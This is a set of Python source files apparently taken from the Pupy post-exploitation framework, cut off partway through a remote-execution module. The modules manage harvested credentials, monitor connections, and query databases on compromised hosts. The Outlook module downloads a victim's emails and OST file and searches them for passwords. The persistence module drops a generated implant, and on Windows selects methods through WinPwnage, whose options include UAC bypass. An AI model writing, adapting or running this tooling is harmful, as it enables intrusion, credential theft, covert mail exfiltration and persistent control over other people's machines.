from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table


@config(cat='creds')
class NetCreds(PupyModule):
    ''' Manage saved authentication information '''

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='netcreds', description=cls.__doc__
        )

        commands = cls.arg_parser.add_subparsers(title='actions')
        cls.arg_parser.set_defaults(action=cls.help)

        add = commands.add_parser('add', help='Add credential')
        add.add_argument('username', help='Username')
        add.add_argument('-P', '--password', help='Password')
        add.add_argument('-s', '--schema', help='Schema')
        add.add_argument('-d', '--domain', help='Domain')
        add.add_argument('-p', '--port', type=int, help='Port')
        add.add_argument('-r', '--realm', help='Realm')
        add.add_argument('-a', '--hostname', help='Hostname / address')
        add.add_argument('-i', '--ip', help='IP address')
        add.add_argument('-f', '--path', help='Path')
        add.add_argument('custom', nargs='*', help='Custom options, key=value')
        add.set_defaults(action=cls.add)

        remove = commands.add_parser(
            'del', help='Delete credential which can be '
            'found using these flags'
        )
        remove.add_argument('-u', '--username', help='Username')
        remove.add_argument('-s', '--schema', help='Schema')
        remove.add_argument('-d', '--domain', help='Domain')
        remove.add_argument('-p', '--port', type=int, help='Port')
        remove.add_argument('-r', '--realm', help='Realm')
        remove.add_argument('-a', '--hostname', help='Hostname / address')
        remove.add_argument('-i', '--ip', help='IP address')
        remove.add_argument('-f', '--path', help='Path')
        remove.set_defaults(action=cls.remove)

        find = commands.add_parser(
            'list', help='List credentials which can be '
            'found using these flags'
        )
        find.add_argument('-u', '--username', help='Username')
        find.add_argument('-s', '--schema', help='Schema')
        find.add_argument('-d', '--domain', help='Domain')
        find.add_argument('-p', '--port', type=int, help='Port')
        find.add_argument('-r', '--realm', help='Realm')
        find.add_argument('-a', '--hostname', help='Hostname / address')
        find.add_argument('-i', '--ip', help='IP address')
        find.add_argument('-f', '--path', help='Path')
        find.set_defaults(action=cls.find)

        clear = commands.add_parser('clear', help='Delete all credentials')
        clear.set_defaults(action=cls.clear)

    def run(self, args):
        args.action(self, args)

    def _draw_creds(self, creds):
        columns = [
            'schema', 'hostname', 'ip', 'port', 'path', 'domain',
            'username', 'password', 'realm'
        ]

        objects = []

        for cred in creds:
            objects.append(dict(cred))

        self.log(Table(objects, columns))

    def help(self, args):
        self.log(self.arg_parser.format_usage())

    def find(self, args):
        find_creds = self.client.remote(
            'network.lib.netcreds', 'find_all_creds'
        )
        creds = find_creds(
            args.schema, args.hostname or args.ip, args.port, args.username,
            args.realm, args.domain, args.path, True
        )

        self._draw_creds(creds)

    def add(self, args):
        if not args.username:
            self.error('Username required')
            return

        add_cred = self.client.remote('network.lib.netcreds', 'add_cred')
        add_cred(
            args.username, args.password, args.domain, args.schema,
            args.hostname, args.ip, args.port, args.realm, args.path,
            **dict(item.split('=', 1) for item in args.custom)
        )

    def remove(self, args):
        remove_creds = self.client.remote(
            'network.lib.netcreds', 'remove_creds'
        )
        remove_creds(
            args.schema, args.hostname or args.ip, args.port, args.username,
            args.realm, args.domain, args.path
        )

    def clear(self, args):
        clear_creds = self.client.remote('network.lib.netcreds', 'clear_creds')
        clear_creds()


================================================
FILE: pupy/modules/netmon.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table, MultiPart

NETMON_EVENT = 0x11000002

__class_name__ = 'NetMon'
__events__ = {
    NETMON_EVENT: 'netmon'
}


@config(cat='admin')
class NetMon(PupyModule):
    'Collect new IP endpoints'

    unique_instance = True

    dependencies = {
        'all': ['netmon']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='netmon', description=cls.__doc__)

        cls.arg_parser.add_argument(
            'action', choices=['start', 'stop', 'dump']
        )

    def stop_daemon(self):
        self.success('Netmon stopped')

    def render_diff(self, diff):
        if not diff:
            return

        listeners = []
        ingress = []
        egress = []
        parts = []

        for record in diff:
            new_listeners_tcp, new_listeners_udp, \
                new_ingress_tcp, new_ingress_udp, \
                new_egress_tcp, new_egress_udp = record

            for new_listeners in (new_listeners_tcp, new_listeners_udp):
                if not new_listeners:
                    continue

                for listener in new_listeners:
                    program, ip, port = listener
                    listeners.append({
                        'PRT': 'TCP' if id(new_listeners) == id(
                            new_listeners_tcp) else 'UDP',
                        'EXE': program,
                        'HOST': ip,
                        'PORT': port
                    })

            for new_ingress in (new_ingress_tcp, new_ingress_udp):
                if not new_ingress:
                    continue

                for record in new_ingress:
                    program, (ip, port), remote_ip = record
                    ingress.append({
                        'PRT': 'TCP' if id(new_ingress) == id(
                            new_ingress_tcp) else 'UDP',
                        'EXE': program,
                        'LADDR': ip,
                        'LPORT': port,
                        'RADDR': remote_ip
                    })

            for new_egress in (new_egress_tcp, new_egress_udp):
                if not new_egress:
                    continue

                for record in new_egress:
                    program, (ip, port) = record
                    egress.append({
                        'PRT': 'TCP' if id(new_egress) == id(
                            new_egress_tcp) else 'UDP',
                        'EXE': program,
                        'ADDR': ip,
                        'PORT': port,
                    })

        if listeners:
            parts.append(
                Table(
                    listeners, ['PRT', 'HOST', 'PORT', 'EXE'], 'Listeners'
                )
            )

        if ingress:
            parts.append(
                Table(
                    ingress, ['PRT', 'LADDR', 'LPORT', 'RADDR', 'EXE'], 'Ingress'
                )
            )

        if egress:
            parts.append(
                Table(
                    egress, ['PRT', 'ADDR', 'PORT', 'EXE'], 'Egress'
                )
            )

        self.log(
            MultiPart(parts)
        )

    def run(self, args):
        if args.action == 'start':
            netmon_start = self.client.remote('netmon', 'netmon_start', False)
            if netmon_start(NETMON_EVENT):
                self.success('Netmon started')
            else:
                self.error('Netmon already started')

        elif args.action == 'dump':
            netmon_dump = self.client.remote('netmon', 'netmon_dump')
            data = netmon_dump()
            if data is None:
                self.error('Netmon is not running')
            elif not data:
                self.warning('No data')
            else:
                self.render_diff(data)

        elif args.action == 'stop':
            netmon_stop = self.client.remote('netmon', 'netmon_stop', False)
            data = netmon_stop()
            if data is None:
                self.error('Netmon is not running')
                return

            elif data:
                self.warning('Summary')
                self.render_diff(data)

            self.success('Netmon stopped')


================================================
FILE: pupy/modules/netstat.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color

from pupy.network.lib.convcompat import as_unicode_string

import sys
import logging

__class_name__ = 'NetStatModule'

ADMINS = (r'NT AUTHORITY\SYSTEM', 'root')


@config(cat="admin")
class NetStatModule(PupyModule):
    """ list terminal sessions """

    dependencies = ['pupyps']
    is_module=False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog="netstat", description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '-l', '--listen', action='store_true',
            help='Show listening sockets'
        )
        cls.arg_parser.add_argument(
            '-t', '--tcp', action='store_true', help='Show TCP'
        )
        cls.arg_parser.add_argument(
            '-u', '--udp', action='store_true', help='Show UDP'
        )
        cls.arg_parser.add_argument(
            '-s', '--show', nargs='+', default=[], help='Filter by word'
        )
        cls.arg_parser.add_argument(
            '-x', '--hide', nargs='+', default=[], help='Filter out by word'
        )

    def run(self, args):
        try:
            connections = self.client.remote('pupyps', 'connections')

            families = {
                int(k): as_unicode_string(v)
                for k, v in self.client.remote_const(
                    'pupyps', 'families'
                ).items()
            }

            socktypes = {
                int(k): as_unicode_string(v)
                for k, v in self.client.remote_const(
                    'pupyps', 'socktypes'
                ).items()
            }

            data = connections()

            limit = []

            if args.tcp:
                limit.append('STREAM')
            if args.udp:
                limit.append('DGRAM')

            objects = []
            for connection in data:
                if connection['status'] == 'LISTEN' and not args.listen:
                    continue

                if args.listen and not connection['status'] == 'LISTEN':
                    continue

                color = ''
                family = families[connection['family']]
                stype = socktypes[connection['type']]

                if limit and stype not in limit:
                    continue

                if connection.get('self'):
                    color = 'green'
                elif connection['status'] in (
                        'CLOSE_WAIT', 'TIME_WAIT', 'TIME_WAIT2'):
                    color = 'darkgrey'
                elif ('127.0.0.1' in connection['laddr'] or
                        '::1' in connection['laddr']):
                    color = 'grey'

                deny = False
                if args.show or '*' in args.hide:
                    deny = True

                connection = {
                    'AF': Color(family, color),
                    'TYPE': Color(stype, color),
                    'LADDR': Color(':'.join([
                        str(x) for x in connection['laddr']
                    ]), color),
                    'RADDR': Color(':'.join([
                        str(x) for x in connection['raddr']
                    ]), color),
                    'PID': Color(connection.get('pid', ''), color),
                    'USER': Color((connection.get('username') or ''), color),
                    'NAME': Color(
                        connection.get(
                            'name', (connection.get('name') or '')
                        ), color),
                    'EXE': Color(
                        connection.get(
                            'exe', (connection.get('name') or '')
                        ), color)
                }

                for v in connection.values():
                    if any(as_unicode_string(h, 'convert') in
                            as_unicode_string(v.data, 'convert')
                            for h in args.hide):
                        deny = True
                    if any(as_unicode_string(h, 'convert') in
                            as_unicode_string(v.data, 'convert')
                            for h in args.show):
                        deny = False

                if not deny:
                    objects.append(connection)

            self.table(objects, [
                'AF', 'TYPE', 'LADDR', 'RADDR', 'USER', 'PID', 'NAME', 'EXE'
            ], truncate=True)

        except Exception as e:
            logging.exception(e)


================================================
FILE: pupy/modules/odbc.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from argparse import REMAINDER
from threading import Event
from re import compile as re_compile
from re import IGNORECASE
from os.path import join, dirname
from hashlib import md5
from datetime import datetime
from io import open

from pupy.pupylib.PupyOutput import Table, List, NewLine
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser, PupyConfig
)

__class_name__ = 'ODBC'

END = 0
HEADER = 1
DATA = 2
LOG = 3
ERROR = 4


class Counter(object):
    __slots__ = ('value',)

    def __init__(self):
        self.value = 0

    def inc(self, value):
        self.value += value

    def __int__(self):
        return self.value

    def __str__(self):
        return str(self.value)


if sys.version_info.major > 2:
    def _asunicode(x):
        if isinstance(x, str):
            return x
        else:
            return str(x)
else:
    def _asunicode(x):
        if isinstance(x, str):
            try:
                return x.decode('utf-8')
            except UnicodeError:
                return x.decode('latin-1')
        elif isinstance(x, unicode):
            return x
        else:
            return unicode(x)


@config(category='admin')
class ODBC(PupyModule):
    ''' Query SQL using ODBC '''

    dependencies = ['pyodbc']

    terminate = None

    @classmethod
    def init_argparse(cls):

        cls.arg_parser = PupyArgumentParser(
            prog='odbc', description=cls.__doc__)

        cls.arg_parser.set_defaults(func=False)

        commands = cls.arg_parser.add_subparsers(title='commands')

        register = commands.add_parser('register', help='Register driver')
        register.add_argument('name', help='Driver name (f.e. pg)')
        register.add_argument(
            '-d', '--description', help='Driver description')
        register.add_argument(
            'library', help='Driver library (f.e. psqlodbcw.so)')
        register.set_defaults(func=cls.register)

        drivers = commands.add_parser(
            'drivers', help='Show registered drivers')
        drivers.set_defaults(func=cls.drivers)

        bind = commands.add_parser('bind', help='Bind to server')
        bind.add_argument(
            '-a', '--alias',
            default='default', help='Short alias to identify connection'
        )
        bind.add_argument(
            '-e', '--encoding', help='Specify encoding'
        )
        bind.add_argument(
            'connstring', nargs=REMAINDER,
            help='ODBC connection string (read docs, pyodbc)')
        bind.set_defaults(func=cls.bind)

        unbind = commands.add_parser('unbind', help='Close connection by alias')
        unbind.add_argument('alias', nargs='?',
            help='Short alias to identify connection')
        unbind.set_defaults(func=cls.unbind)

        bounded = commands.add_parser('list', help='Show established connections')
        bounded.set_defaults(func=cls.bounded)

        tables = commands.add_parser('tables', help='Show tables')
        tables.add_argument(
            '-a', '--alias', default='default',
            help='Short alias to identify connection'
        )
        tables.add_argument(
            '-v', '--views', default=False, action='store_true',
            help='Show views and other types'
        )
        tables.add_argument(
            'filter', default=None, nargs=REMAINDER, help='Regex to filter names (ex: ^dbo)'
        )
        tables.set_defaults(func=cls.tables)

        describe = commands.add_parser('describe', help='Show table structure')
        describe.add_argument(
            '-a', '--alias', default='default',
            help='Short alias to identify connection'
        )
        describe.add_argument(
            'table', help='Table to describe'
        )
        describe.set_defaults(func=cls.describe)

        count = commands.add_parser(
            'count', help='Quick query, SELECT count(*) FROM <YOUR QUERY HERE>')
        count.add_argument(
            '-a', '--alias', default='default',
            help='Short alias to identify connection'
        )
        count.add_argument('query', nargs=REMAINDER, help='Part of count() query')
        count.set_defaults(func=cls.count)

        query = commands.add_parser('q', help='Query SQL statement')
        query.add_argument(
            '-a', '--alias', default='default',
            help='Short alias to identify connection'
        )
        query.add_argument(
            '-v', '--verbose', action='store_true', default=False,
            help='Show query, fetched records etc'
        )
        query.add_argument(
            '-l', '--limit', default=10, type=int,
            help='Send cancelation after this amount of records fetched'
        )

        output = query.add_mutually_exclusive_group()
        output.add_argument(
            '-D', '--dump', action='store_true', default=False,
            help='Save result to file (paths.odbc/md5(query).txt)'
        )
        output.add_argument(
            '-t', '--table', default=False, action='store_true',
            help='Try to draw table'
        )
        output.add_argument(
            '-T', '--tabs', default=False, action='store_true',
            help='Output with plain strings separated by tabs'
        )

        query.add_argument(
            'query', nargs=REMAINDER,
            help='SQL query (SELECT name FROM master.dbo.sysdatabases)')
        query.set_defaults(func=cls.query)

    def run(self, args):
        if args.func is False:
            self.log(self.arg_parser.format_help())
            return

        need_impl = self.client.remote('odbc', 'need_impl')
        if not self.client.is_windows() and need_impl():
            self.client.load_dll('libodbc.so')
            self.client.load_dll('libodbcinst.so')
            self.client.load_package('pyodbc')

        try:
            args.func(self, args)
        except Exception as e:
            if len(e.args) == 2 and e.args[1].startswith('['):
                self.error(
                    e.args[1].rsplit('\n', 1)[0].strip()
                )
            else:
                self.error(e)

    def bind(self, args):
        bind = self.client.remote('odbc', 'bind')
        connstring = ' '.join(args.connstring)
        alias = bind(args.alias, connstring, args.encoding)

        self.success('Bind: {} -> {}'.format(alias, connstring))

    def drivers(self, args):
        drivers = self.client.remote('odbc', 'drivers')
        self.log(List(drivers()))

    def register(self, args):
        register = self.client.remote('odbc', 'register_driver')
        drivers = self.client.remote('odbc', 'drivers')

        if register(args.name, args.description, args.library):
            self.client.load_dll(args.library)

        self.log(List(drivers()))

    def unbind(self, args):
        unbind = self.client.remote('odbc', 'unbind')
        alias = unbind(args.alias)

        self.success('Unbind: {}'.format(alias))

    def bounded(self, args):
        bounded = self.client.remote('odbc', 'bounded')
        aliased = bounded()
        if not aliased:
            return

        self.log(
            Table([
                {
                    'ALIAS': alias,
                    'CONNSTR': connstr
                } for (alias, connstr) in aliased
            ], ['ALIAS', 'CONNSTR'])
        )

    def describe(self, args):
        describe = self.client.remote('odbc', 'describe')
        description = describe(args.alias, args.table)
        self.log(
            Table([
                {
                    'COLUMN': col,
                    'TYPE': coltype
                } for (col, coltype) in description
            ], ['COLUMN', 'TYPE'])
        )

    def tables(self, args):
        tables = self.client.remote('odbc', 'tables')
        catalogs = tables(args.alias)
        if not catalogs:
            return

        re_filter = None

        if args.filter:
            re_filter = re_compile(' '.join(args.filter), IGNORECASE)

        for catalog, records in catalogs.items():
            if args.views:
                self.log(
                    Table([
                        {
                            'TABLE': table, 'TYPE': tabletype
                        } for (table, tabletype) in records
                        if not re_filter or re_filter.match(table)
                    ], ['TABLE', 'TYPE'], caption=catalog)
                )
            else:
                self.log(
                    List([
                        table for (table, tabletype) in records
                        if not re_filter or re_filter.match(
                            table) and tabletype == 'TABLE'
                    ], caption=catalog)
                )

    def count(self, args):
        one = self.client.remote('odbc', 'one')
        if not args.query:
            self.error('Query is not specified')
            return

        query = 'SELECT count(*) FROM ' + ' '.join(args.query)

        self.info('QUERY: {}'.format(query))

        result = one(args.alias, query)

        if result:
            self.success('Count: {}'.format(result))

    def query(self, args):
        if not args.query:
            self.error('Query is not specified')
            return

        query = ' '.join(args.query)

        many = self.client.remote('odbc', 'many', False)

        completion = Event()
        header = []

        output = None

        total = Counter()

        if args.dump:
            config = self.client.pupsrv.config or PupyConfig()
            now = str(datetime.now())
            digest = md5(now + query).hexdigest()
            output = config.get_file('odbc', {
                '%c': self.client.short_name(),
                '%d': digest
            })

            index = join(
                dirname(output), 'index.txt'
            )

            self.info('Dumping to {}'.format(output))
            output = open(output, 'w+', encoding='utf-8')

            with open(index, 'a+') as indexobj:
                indexobj.write(u'{}\t{}\t{}\n'.format(digest, now, query))

        def on_data(code, payload):
            if code == END:
                completion.set()
                if args.verbose:
                    self.info('DONE [Total: {}]'.format(total))
            elif code == HEADER:
                del header[:]
                header.extend(payload)
                if output or args.tabs:
                    tabbed = u'\t'.join(_asunicode(col[0]) for col in header)
                    if output:
                        output.write(tabbed + '\n')
                    else:
                        self.log(tabbed)
            elif code == LOG:
                if args.verbose:
                    self.info(payload)
            elif code == ERROR:
                self.error(payload)
                completion.set()
            elif code != DATA:
                self.error('Unexpected code {}'.format(code))
            elif payload is None:
                return
            elif output or args.tabs:
                total.inc(len(payload))
                for record in payload:
                    tabbed = '\t'.join(_asunicode(col) for col in record)
                    if output:
                        output.write(tabbed + '\n')
                    else:
                        self.log(tabbed)
            elif args.table:
                titles = tuple(col[0] for col in header)
                total.inc(len(payload))

                self.log(
                    Table([
                        {
                            title: value
                            for title, value in zip(
                                titles, values
                            )
                        } for values in payload
                    ], titles)
                )
            else:
                total.inc(len(payload))
                titles = tuple(col[0] for col in header)

                if len(header) == 1:
                    for record in payload:
                        self.log(record[0])
                else:
                    for record in payload:
                        self.log(
                            List([
                                u'{}: {}'.format(title, value) for
                                (title, value) in zip(
                                    titles, record
                                )
                            ])
                        )
                        self.log(NewLine())

        if args.verbose:
            self.info('QUERY: {} LIMIT: {}'.format(query, args.limit))

        self.terminate = many(
            args.alias, query, args.limit, on_data
        )

        completion.wait()

    def interrupt(self):
        if self.terminate:
            self.terminate()
        else:
            raise NotImplementedError()


================================================
FILE: pupy/modules/outlook.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import os

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.network.lib.rpc.utils.classic import download

__class_name__="Outlook"

@config(compat="windows", category="gather")
class Outlook(PupyModule):
    """ interact with Outlook session of the targeted user """
    dependencies=['outlook', 'win32api','win32com','pythoncom','winerror']

    OL_SAVE_AS_TYPE={'olTXT': 0,'olRTF':1,'olTemplate': 2,'olMSG': 3,'olDoc':4,'olHTML':5,'olVCard': 6,'olVCal':7,'olICal': 8}
    OL_DEFAULT_FOLDERS = {'olFolderDeletedItems':3,'olFolderDrafts':16,'olFolderInbox':6,'olFolderJunk':23,'olFolderSentMail':5}

    @classmethod
    def init_argparse(cls):
        '''
        '''
        cls.arg_parser = PupyArgumentParser(prog="outlook", description=cls.__doc__)
        cls.arg_parser.add_argument('-i', dest='information', action='store_true', help="Get Outlook configuration")
        cls.arg_parser.add_argument('-l', dest='foldersAndSubFolders', action='store_true', help="Get Outlook folders and subfolders")
        cls.arg_parser.add_argument('-n', dest='numberOfEmails', action='store_true', help="Get number of emails stored in the outlook folder choisen (see options below)")
        cls.arg_parser.add_argument('-d', dest='downloadAllEmails', action='store_true', help="Download all emails stored in the outlook folder choisen with MAPI (see options below)")
        cls.arg_parser.add_argument('-t', dest='downloadOST', action='store_true', help="Download Outlook OST file (Offline or cached Outlook items)")
        cls.arg_parser.add_argument('-s', dest='search', action='store_true', help="Search strings in emails, see -strings for options")
        cls.arg_parser.add_argument('-strings', dest='strings', default="password,pwd,credentials", help="Strings to search in emails (use with -s) (default: %(default)s)")
        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will contain emails locally (default: %(default)s)")
        cls.arg_parser.add_argument('-folder-default', choices=list(cls.OL_DEFAULT_FOLDERS), default="olFolderInbox", dest='outlookFolder', help="Choose Outlook Folder using a default folder (default: %(default)s)")
        cls.arg_parser.add_argument('-folder-id', dest='folderId', default=None, help="Choose Outlook Folder using a folder ID (default: %(default)s)")
        cls.arg_parser.add_argument('-otype', choices=list(cls.OL_SAVE_AS_TYPE), default="olMSG", dest='msgSaveType', help="Email saved as this type (default: %(default)s)")

    def run(self, args):
        '''
        '''
        localFolder=args.localOutputFolder
        self.localFolder = os.path.join(localFolder, "{0}-{1}-{2}".format(self.client.desc['hostname'], self.client.desc['user'], self.client.desc['macaddr'].replace(':','')))
        if not os.path.exists(self.localFolder):
            self.info("Creating the {0} folder locally".format(self.localFolder))
            os.makedirs(self.localFolder)
        if args.folderId is not None:
            self.warning('Notice the folder Id option will be used and the default folder option will be disabled')
        outlook = self.client.conn.modules['outlook'].outlook(folderIndex=self.OL_DEFAULT_FOLDERS[args.outlookFolder], folderId=args.folderId, msgSaveType=args.msgSaveType)
        if args.downloadOST:
            self.success("Trying to download Outlook OST file of the targeted current user")
            paths = outlook.getPathToOSTFiles()
            if len(paths)>0:
                localPath = os.path.join(self.localFolder, ''.join(
                    path for path in paths[0][0].encode('ascii', 'ignore') if path.isalnum())
                )
                self.success("Downloading the file {0} to {1}...".format(paths[0][1], localPath))
                download(self.client.conn, paths[0][1], localPath)
                self.success("OST file downloaded from {0} to {1}".format(paths[0][1], localPath))
            else:
                self.error("OST file not found or an error occured")
        if outlook.outlookIsInstalled():
            self.success("Outlook application seems to be installed on the target, trying to connect to MAPI...")
            if outlook.connect():
                self.success("Connected to outlook application trough MAPI")
            else:
                self.error("Impossible to connect to outlook application trough MAPI. Abording!")
                return
        else:
            self.error("Outlook application doesn't seem to be installed on the target. Nothing to do. Cancelling!")
            return
        if args.information:
            info = outlook.getInformation()
            for key, value in info.items():
                self.success("{0}: {1}".format(key, value))
        if args.foldersAndSubFolders:
            self.success("Outlook folders and subfolders:")
            foldersAndSubFolders = outlook.getAllFolders()
            for i,folder in enumerate(foldersAndSubFolders):
                print("{0}: {1}".format(i, folder.encode('utf-8')))
                for j,subFolder in enumerate(foldersAndSubFolders[folder]):
                    print("  {0}.{1}: {2} (id: {3})".format(i, j, subFolder.encode('utf-8'), foldersAndSubFolders[folder][subFolder].encode('utf-8')))
        if args.numberOfEmails:
            self.success("Trying to get number of emails in the {0} folder".format(args.outlookFolder))
            nb = outlook.getNbOfEmails()
            self.success("Number of emails in the {0} folder: {1}".format(args.outlookFolder, nb))
        if args.downloadAllEmails:
            self.success("Trying to download all emails stored in the {0} folder".format(args.outlookFolder))
            nb = outlook.getNbOfEmails()
            if nb == 0:
                self.error("This box is empty. You should choose another outlook folder")
            else:
                self.success("{0} emails found in {0}, Starting download...".format(args.outlookFolder))
                self.success("You can use msgconvert for reading these emails locally")
                self.warning("If nothing happens, a Outlook security prompt has probably been triggered on the target.")
                self.warning("Notice if an antivirus is installed on the target, you should be abled to download emails without security prompt (see https://support.office.com/en-us/article/I-get-warnings-about-a-program-accessing-e-mail-address-information-or-sending-e-mail-on-my-behalf-df007135-c632-4ae4-8577-dd4ba26750a2)")
                self.info("Downloading all emails")
                for i, anEmail in enumerate(outlook.getEmails()):
                    aPathToMailFile, filename = outlook.getAMailFile(anEmail)
                    self.success('Downloading email {0}/{1}...'.format(i+1, outlook.getNbOfEmails()))
                    localPathToFile = os.path.join(self.localFolder, filename)
                    self.info("Downloading the file {0} to {1}".format(aPathToMailFile, localPathToFile))
                    download(self.client.conn, aPathToMailFile, localPathToFile)
                    self.info("Deleting {0}".format(aPathToMailFile))
                    outlook.deleteTempMailFile(aPathToMailFile)
                print("\n")
                self.success("Download completed!")
        if args.search:
            self.success("Searching '{0}' in emails stored in {1} folder...".format(args.strings, args.outlookFolder))
            localPathToFile = os.path.join(self.localFolder, "research.txt")
            emails = outlook.searchStringsInEmails(strings=args.strings, separator=',')
            if len(emails) > 0:
                self.success("{0} emails found with {1}".format(len(emails), args.strings))
            else:
                self.error("{0} emails found with {1}".format(len(emails), args.strings))
            f = open(localPathToFile,"w")
            for i, anEmail in enumerate(emails):
                f.write("-"*100+'\n')
                f.write("[+] Email {0}\n".format(i))
                f.write("-"*100+'\n')
                f.write("Subject: {0}\n".format(anEmail['subject'].encode('utf8')))
                f.write("Body: {0}\n".format(anEmail['body'].encode('utf8')))
            self.success("Research completed!")
            self.success("See the following file for results: {0}".format(localPathToFile))
            f.close()


================================================
FILE: pupy/modules/persistence.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided
# that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and
# the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and
# the following disclaimer in the documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or
# promote products derived from this software without specific prior written permission.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer
from pupy.cli import pupygen

__class_name__ = "Persistence"


@config(cat="manage", compat=['linux', 'windows'])
class Persistence(PupyModule):
    """ Enable / Disable persistence """

    dependencies = {
        'linux': ['persistence'],
        'windows': ['winpwnage.core', 'winpwnage.functions.persist']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="persistence", description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-s', '--shared', action='store_true', default=False,
            help='prefer shared object (linux only)')
        cls.arg_parser.add_argument(
            '-p', dest='payload',
            help='remote path or cmd to execute at login (windows only)', completer=remote_path_completer)
        cls.arg_parser.add_argument(
            '-n', dest='name',
            help='custom name to use (windows only)')
        cls.arg_parser.add_argument(
            '-m', dest='method',
            help="should be an ID, get the list (-l) scanning which methods are possible (windows only)")
        cls.arg_parser.add_argument(
            '-l', dest='scan', action='store_true', default=False,
            help="list all possible techniques for this host (windows only)")
        cls.arg_parser.add_argument(
            '--remove', action='store_true',
            help='remove persistence', default=False)

    def run(self, args):
        if self.client.is_windows():
            self.windows(args)
        else:
            self.linux(args)

    def linux(self, args):
        if args.remove:
            # TODO persistence removal
            self.error("not implemented for linux")
            return

        drop = self.client.remote('persistence', 'drop', False)
        exebuff, tpl, _ = pupygen.generate_binary_from_template(
            self.log,
            self.client.get_conf(),
            self.client.desc['platform'],
            arch=self.client.arch,
            shared=args.shared
        )

        self.success("Generating the payload with the current config from {} - size={}".format(
            tpl, len(exebuff)))

        drop_path, conf_path, method = drop(exebuff, args.shared)
        if drop_path and conf_path and method:
            self.success('Dropped: {} Method: {} Config: {}'.format(drop_path, method, conf_path))
        elif method:
            self.error('Failed: {}'.format(method))
        else:
            self.error('Couldn\'t make service persistent.')

    def parse_result(self, result, print_result=True, get_method_id=True):
        """
        Parse result returned by WinPwnage
        Return the best method id if possible
        """
        func = {'t': self.log, 'ok': self.success, 'error': self.error, 'info': self.info, 'warning': self.warning}
        preferred_methods = self.client.pupsrv.config.get("persistence", "preferred_methods").split(',')

        method_id = []
        for tag, message in result:
            if tag in func:
                if print_result:
                    func[tag](message)
                if tag == 'ok' and get_method_id:
                    method_id.append(message.split()[0])

        if get_method_id:
            for p in preferred_methods:
                if p in method_id:
                    return p

    def launch_scan(self, print_result=True):
        """
        Check all possible methods found on the target to persist
        """
        scanner = self.client.remote('winpwnage.core.scanner', 'scanner', False)
        result = scanner(uac=False, persist=True, elevate=False, execute=False).start()
        return self.parse_result(result, print_result)

    def windows(self, args):

        if args.scan:
            self.launch_scan()
            return

        if not args.remove and not args.payload:
            self.error('Add payload (remote path to execute at login)')
            return

        name = args.name if args.name else self.client.pupsrv.config.get("persistence", "name")
        method = args.method
        if not method and (not args.scan or not args.remove):
            method = self.launch_scan(print_result=False)
            if not method:
                self.error('Get the list of possible methods (-l) and bypass uac using -m <id>')
                return

        persist = self.client.remote('winpwnage.core.scanner', 'function', False)
        result = persist(uac=False, persist=True).run(
            id=method, payload=args.payload, name=name, add=not args.remove
        )
        if not result:
            self.error('Nothing done, check if the id is on the list')
        else:
            self.parse_result(result, get_method_id=False)


================================================
FILE: pupy/modules/pexec.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_STREAM
)

import datetime
import subprocess
import threading
import chardet

from argparse import REMAINDER

__class_name__="PExec"


@config(cat="admin")
class PExec(PupyModule):
    """ Execute shell commands non-interactively on a remote system in background using popen"""

    terminate_pipe = None
